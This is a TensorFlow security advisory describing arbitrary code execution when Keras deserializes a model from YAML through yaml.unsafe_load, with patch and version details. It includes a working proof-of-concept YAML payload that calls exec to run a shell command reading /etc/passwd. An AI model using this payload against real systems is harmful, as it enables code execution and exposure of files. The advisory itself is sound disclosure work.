Arbitrary code execution due to YAML deserialization
### Impact
TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.
```python
from tensorflow.keras import models
payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''
models.model_from_yaml(payload)
```
The implementation
https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/python/keras/saving/model_config.py#L66-L104 uses `yaml.unsafe_load` which can perform arbitrary code execution on the input.
### Patches
Given that YAML format support requires a significant amount of work, we have removed it for now.
We have patched the issue in GitHub commit 23d6383eb6c14084a8fc3bdf164043b974818012
https://github.com/tensorflow/tensorflow/commit/23d6383eb6c14084a8fc3bdf164043b974818012.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Arjun Shibu.